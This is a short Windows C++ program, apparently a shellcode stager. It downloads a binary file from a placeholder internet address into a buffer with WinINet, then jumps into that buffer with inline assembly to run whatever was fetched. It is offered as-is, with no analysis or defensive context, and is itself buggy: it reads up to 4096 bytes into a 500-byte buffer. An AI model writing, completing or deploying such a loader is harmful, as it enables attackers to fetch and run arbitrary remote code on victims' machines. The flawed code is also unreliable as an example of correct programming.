#include <windows.h>
#include <iostream>
#include <cstring>
#include <Wininet.h>
using namespace std;
unsigned char DataReceived[500];
int main(){
int i;
HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
HINTERNET OpenAddress = InternetOpenUrl(connect,"ip/pathto.bin", NULL, 0, // ip/pathto.bin normally points to the path of a *.bin file in the internet
INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
DWORD NumberOfBytesRead = 0;
while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
{
// the __asm commands are the core function of this program, can't change them
__asm ("lea _DataReceived, %eax");
__asm ("push %eax");
__asm ("ret");
}
InternetCloseHandle(OpenAddress);
InternetCloseHandle(connect);
return 0;
}